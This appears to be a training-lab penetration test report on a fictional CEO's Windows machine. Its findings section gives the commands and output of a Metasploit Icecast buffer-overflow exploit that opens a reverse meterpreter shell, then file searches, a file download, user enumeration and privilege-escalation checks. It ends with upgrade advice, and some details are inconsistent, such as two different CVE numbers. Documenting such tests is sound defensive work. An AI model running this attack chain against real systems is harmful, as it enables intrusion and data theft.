GoodSecurity.

Penetration Test Report

Client: GoodCorp Inc.
Date: April 16, 2022
Lead Tester: Frank Lin
Email: FLin@GoodSecurity.com

1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk.

GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp. This report discusses the results from the assessment.

During the investigation, GoodSecurity covered good security practices while aiming to determine the following:

- Determine if the systems were suitably configured in line with good security practice.
- Assess if communications within the system were suitably protected from interception and general intervention.
- Evaluate whether the system were suitably protected against unauthorized activity from unauthorized users.
- Identify the presence of any vulnerabilities in the system's front end which can be exploited to provide unauthorized access to data stored in backed databases.
- Identify publicly exposed ports and services which have documented vulnerabilities that can be exploited to bypass existing defenses.

When performing the internal penetration test, there were serious problems were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploiting two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

GoodSecurity discovered a total of 3 vulnerabilities in the assigned environment, of which 1 is critical. The critical vulnerability allowed the download of Mr Gruber's "user.secretfile.txt" as well as the "Drinks.recipe.txt," both of which are sensitive.

GoodCorp should be strongly motivated to remediate the critical vulnerabilities within 15 days due to the high potential for exploit of these files and many others which could result in significant monetary impact.

2.0 Findings

Machine IP:

192.168.0.20

Hostname:

MSEDGEWIN10

Vulnerability Exploited: (Critical)

Icecast Header Overwrite

Vulnerability Explanation:

In summary, buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.

This module is a buffer overflow exploit in the header parsing of the icecast versions 2.0.1 and earlier. It sends 32 HTTP headers which cause a write one past the end of a pointer array. On win32, this happens to overwrite the saved instruction pointer, and on Linux, this seems to generally overwrite nothing crucial. This exploit uses ExitThread(), and will leave icecast thinking the thread is still in use, therefore the thread counter won't be decremented. This means for each time your payload exits, the counter will be left incremented, and eventually the threadpool limit will be maxed. So you can multihit, but only till you fill the threadpool.

In short, is possible to execute remote code simply using the normal HTTP request plus 31 headers followed by a shellcode that will be executed directly without the need of calling/jumping to registers or addresses or using other annoying techniques.

Severity:

The CVSS (Common Vulnerability Score System) for this is a 7.5 out of 10, which is a high level of severity. Remote access is granted without authentication needed over the network.

Proof of Concept:

A service and version scan using NMap was used to determine which services are up and running:

```
nmap -sV 192.168.0.20
```

```
root@kali: ~
25/tcp   open  smtp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
8000/tcp open  http-alt
MAC Address: 00:15:5D:00:04:01 (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds
root@kali:~# nmap -sV 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-16 12:26 PDT
Nmap scan report for 192.168.0.20
Host is up (0.0029s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          SLmail smtpd 5.5.0.4433
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8000/tcp open  http          Icecast streaming media server
MAC Address: 00:15:5D:00:04:01 (Microsoft)
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds
root@kali:~#
```

From the previous step, we see that the Icecast service is running on port 8000. We then search for exploits that are available for Icecast with the following command via SearchSploit:

```
searchsploit icecast
```

```
root@kali: ~
8000/tcp open  http          Icecast streaming media server
MAC Address: 00:15:5D:00:04:01 (Microsoft)
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds
root@kali:~# searchsploit icecast
--------------------------------------------------------------- ---------------------------------
 Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------------
Icecast 1.1.x/1.3.x - Directory Traversal                       | multiple/remote/20972.txt
Icecast 1.1.x/1.3.x - Slash File Name Denial of Service         | multiple/dos/20973.txt
Icecast 1.3.7/1.3.8 - 'print_client()' Format String            | windows/remote/20582.c
Icecast 1.x - AVLLib Buffer Overflow                            | unix/remote/21363.c
Icecast 2.0.1 (Win32) - Remote Code Execution (1)               | windows/remote/568.c
Icecast 2.0.1 (Win32) - Remote Code Execution (2)               | windows/remote/573.c
Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit)     | windows_x86/remote/16763.rb
Icecast 2.x - XSL Parser Multiple Vulnerabilities               | multiple/remote/25238.txt
Icecast server 1.3.12 - Directory Traversal Information Disclos | linux/remote/21602.txt
--------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
root@kali:~#
```

Now that we know which exploits are available to us for Icecast, we run Metasploit and search for exploits that we can use:

msfconsole

```
root@kali:~# msfconsole
[-] ***rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***
```

search icecast and **use 0**

```
        https://metasploit.com

       =[ metasploit v5.0.84-dev                          ]
+ -- --=[ 1997 exploits - 1091 auxiliary - 341 post       ]
+ -- --=[ 560 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the resource command to run commands from a file

msf5 > search icecast

Matching Modules
================

   #  Name                                Disclosure Date  Rank   Check  Description
   -  ----                                ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


msf5 > use 0
msf5 exploit(windows/http/icecast_header) >
```

We set the RHOST (Remote Host/ target) for the exploit to be the IP address of Mr Gruber's computer:

```
set rhosts 192.168.0.20
```

```
msf5 exploit(windows/http/icecast_header) > set rhosts 192.168.0.20
rhosts => 192.168.0.20
msf5 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.0.20     yes       The target host(s), range CIDR identifier, or hosts file wit
h syntax 'file:<path>'
   RPORT   8000             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(windows/http/icecast_header) >
```

We then run the exploit against Mr. Gruber's computer, and gain access with meterpreter. Through the meterpreter program, we begin a search for the target "secretfile" as instructed as one of the two files we are to find:

```
search -f *secretfile*.txt
```

```
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 2 opened (192.168.0.8:4444 -> 192.168.0.20:49759) at 2022-04-16 12:50:53 -
0700

meterpreter > search -f *secretfile*.txt
Found 1 result...
    c:\Users\IEUser\Documents\user.secretfile.txt (161 bytes)
meterpreter >
```

The file is successfully located inside the path C:\Users\IEUser\Documents\. The actual full file name is "user.secretfile.txt"

We continue with a search for the recipe file as well using the following command:

```
search -f *recipe*.txt
```

```
meterpreter > search -f *recipe*.txt
Found 1 result...
    c:\Users\IEUser\Documents\Drinks.recipe.txt (48 bytes)
meterpreter > download 'c:\Users\IEUser\Documents\Drinks.recipe.txt'
[*] Downloading: c:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.recipe.txt
[*] Downloaded 48.00 B of 48.00 B (100.0%): c:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.
recipe.txt
[*] download   : c:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.recipe.txt
meterpreter >
```

A “Drinks.recipe.txt” file was found in the system under the same directory path as the secretfile. We download a copy of the recipe file for good measure to demonstrate the dangers of this exploit and how information can indeed exfiltrate from the system with a simple download command:

```
download ‘c:\Users\IEUser\Documents\Drinks.recipe.txt’
```

```
root@kali: ~
root@kali: ~    root@kali: ~    root@kali: ~
root@kali:~# ls
Desktop    Downloads          hack.exe  password.txt  Public       Templates      Videos
Documents  Drinks.recipe.txt  Music     Pictures      results.txt  top_ports.xml  zenmapscan.txt
root@kali:~# cat Drinks.recipe.txt
Put the lime in the coconut and drink it all up!root@kali:~#
```

Inside the contents of the file, we find that the recipe for the drinks is possibly proprietary information.

Where there is 1 vulnerability, there may possibly be others that are worth exploring so that everything can be patched up together at the same time. We utilized our time in the system to search for these other possible vulnerabilities on the system with a suggester through Metasploit.

```
msf5 > search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local
Exploit Suggester


msf5 >
```

We set the target system to Mr. Gruber's IP address and then begin our suggester program.

Run post/multi/recon/local_exploit_suggester

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 192.168.0.20 - Collecting local exploits for x86/windows...
[*] 192.168.0.20 - 30 exploit checks are being tried...
[+] 192.168.0.20 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 192.168.0.20 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
meterpreter >
```

The results show those two additional, vulnerabilities mentioned in the summary. Information related to them are as follows:

```
msf6 > info exploit/windows/local/ikeext_service

       Name: IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL
     Module: exploit/windows/local/ikeext_service
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-10-09

Provided by:
  Ben Campbell <eat_meatballs@hotmail.co.uk>

Available targets:
  Id  Name
  --  ----
  0   Windows x86
  1   Windows x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  DIR                       no        Specify a directory to plant the DLL.
  SESSION                   yes       The session to run this module on

Payload information:

Description:
  This module exploits a missing DLL loaded by the 'IKE and AuthIP
  Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts
  automatically in default installations of Vista-Win8. It requires an
  insecure bin path to plant the DLL payload.

References:
  https://www.htbridge.com/advisory/HTB23108
  https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html
```

```
msf6 > info exploit/windows/local/ms16_075_reflection

       Name: Windows Net-NTLMv2 Reflection DCOM/RPC
     Module: exploit/windows/local/ms16_075_reflection
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-01-16

Provided by:
  FoxGloveSec
  breenmachine
  Mumbai

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Windows x86
  2   Windows x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on

Payload information:

Description:
  Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
  achieve a SYSTEM handle for elevation of privilege. Currently the
  module does not spawn as SYSTEM, however once achieving a shell, one
  can easily use incognito to impersonate the token.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/MS16-075
  https://nvd.nist.gov/vuln/detail/CVE-2016-3225
  http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/
  https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
  https://github.com/breenmachine/RottenPotatoNG
```

Vulnerability information for Icecast can be found in the following screenshot:

```
root@kali: ~
msf5 exploit(windows/http/icecast_header) > info windows/http/icecast_header

       Name: Icecast Header Overwrite
     Module: exploit/windows/http/icecast_header
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-09-28

Provided by:
  spoonm <spoonm@no$email.com>
  Luigi Auriemma <aluigi@autistici.org>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   8000             yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the header parsing of
  icecast versions 2.0.1 and earlier, discovered by Luigi Auriemma.
  Sending 32 HTTP headers will cause a write one past the end of a
  pointer array. On win32 this happens to overwrite the saved
  instruction pointer, and on linux (depending on compiler, etc) this
  seems to generally overwrite nothing crucial (read not exploitable).
  This exploit uses ExitThread(), this will leave icecast thinking the
  thread is still in use, and the thread counter won't be decremented.
  This means for each time your payload exits, the counter will be
  left incremented, and eventually the threadpool limit will be maxed.
  So you can multihit, but only till you fill the threadpool.

References:
  https://cvedetails.com/cve/CVE-2004-1561/
  OSVDB (10406)
  http://www.securityfocus.com/bid/11271
```

During the exploit of the Icecast application when we were able to open a meterpreter session, we were also able to see the logged user(s) on the computer with the following script:

```
   Windows Gather Enumerate Active Domain Users
   18  post/windows/gather/enum_logged_on_users                    normal     No
    Windows Gather Logged On User Enumeration (Registry)
   19  post/windows/gather/enum_muicache                           normal     No
    Windows Gather Enum User MUICache
   20  post/windows/gather/local_admin_search_enum                 normal     No
    Windows Gather Local Admin Search


msf5 > search logged
```

run post/windows/gather/enum_logged_on_users

```
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 3

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-321011808-3761883066-353627080-1000   MSEDGEWIN10\IEUser


[+] Results saved in: /root/.msf4/loot/20220416130251_default_192.168.0.20_host.users.activ_114998
.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       %systemroot%\system32\config\systemprofile
 S-1-5-19                                       %systemroot%\ServiceProfiles\LocalService
 S-1-5-20                                       %systemroot%\ServiceProfiles\NetworkService
 S-1-5-21-321011808-3761883066-353627080-1000   C:\Users\IEUser
 S-1-5-21-321011808-3761883066-353627080-1003   C:\Users\sysadmin
 S-1-5-21-321011808-3761883066-353627080-1004   C:\Users\vagrant


meterpreter >
```

The command to open a shell on the system also worked:

shell

```
root@kali: ~
root@kali: ~    root@kali: ~    root@kali: ~
meterpreter > shell
Process 6964 created.
Channel 4 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.
```

More information about Mr. Gruber's system was found with shell access by using the Windows default commands to display everything for us:

systeminfo

```
C:\Program Files (x86)\Icecast2 Win32>systeminfo
systeminfo

Host Name:                 MSEDGEWIN10
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:
Registered Organization:   Microsoft
Product ID:                00329-20000-00001-AA236
Original Install Date:     3/19/2019, 4:59:35 AM
System Boot Time:          4/16/2022, 12:16:02 PM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2594 Mhz
BIOS Version:              American Megatrends Inc. 090007 , 5/18/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,076 MB
Available Physical Memory: 838 MB
Virtual Memory: Max Size:  3,356 MB
Virtual Memory: Available: 1,606 MB
Virtual Memory: In Use:    1,750 MB
```

Vulnerability details of Icecast 2.0.1 and earlier. CVE-2004-1581.

Vulnerability Details : CVE-2004-1561

Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.

Publish Date : 2004-12-31 Last Update Date : 2017-07-11

Collapse All Expand All Select Select&Copy Scroll To Comments External Links
Search Twitter Search YouTube Search Google

– CVSS Scores & Vulnerability Types

CVSS Score	7.5
Confidentiality Impact	Partial (There is considerable informational disclosure.)
Integrity Impact	Partial (Modification of some system files or information is possible, but the attacker does not have control over what can be modified, or the scope of what the attacker can affect is limited.)
Availability Impact	Partial (There is reduced performance or interruptions in resource availability.)
Access Complexity	Low (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge or skill is required to exploit.)
Authentication	Not required (Authentication is not required to exploit the vulnerability.)
Gained Access	None
Vulnerability Type(s)	Execute Code Overflow
CWE ID	CWE id is not defined for this vulnerability

3.0 Recommendations

Icecast is an audio broadcast system that streams music in both mp3 and Obb Vorbis format. The solution to fix this problem is to upgrade to Icecast 2.0.2 or later. The most recent version at the time of this report is Icecast 2.4.4, which does not have any known vulnerabilities yet. Downloads of the newest version is available for both Linux/ Unit systems and Windows in the link below:

https://icecast.org/download/

By updating and upgrading the affected versions culpable to being attacked, you eliminate the problem of being exploited by the vulnerability that exists in the older versions. Since there have been several version upgrades since the original affected version installed, it is also safe to say that the issue will not be easily exploited by modified methods of the vulnerability.

4.0 Conclusions

Overall, the penetration tests performed on Mr. Gruber's system revealed a limited number of vulnerabilities present during our review of everything. Only 1 critical issue was found, which can easily be patched by the IT department with a simple upgrade to the applications affected. Other minor findings discovered can also be explored further by the IT department or be followed up by other members of our team with follow up remediation or validation testing to ensure proper patching of those issues in the next 15-30 days.

We thank GoodCorp and appreciate the opportunity to assist in testing Mr. Gruber's system with this proactive exercise to guarantee the safety of the company's digital assets on sensitive target computers. This step, unquestionably saves the company from any loss of revenue and embarrassment which GoodSecurity hopes to be able to continually provide additional collaboration in the future with to further help GoodCorp Inc achieve good security practices.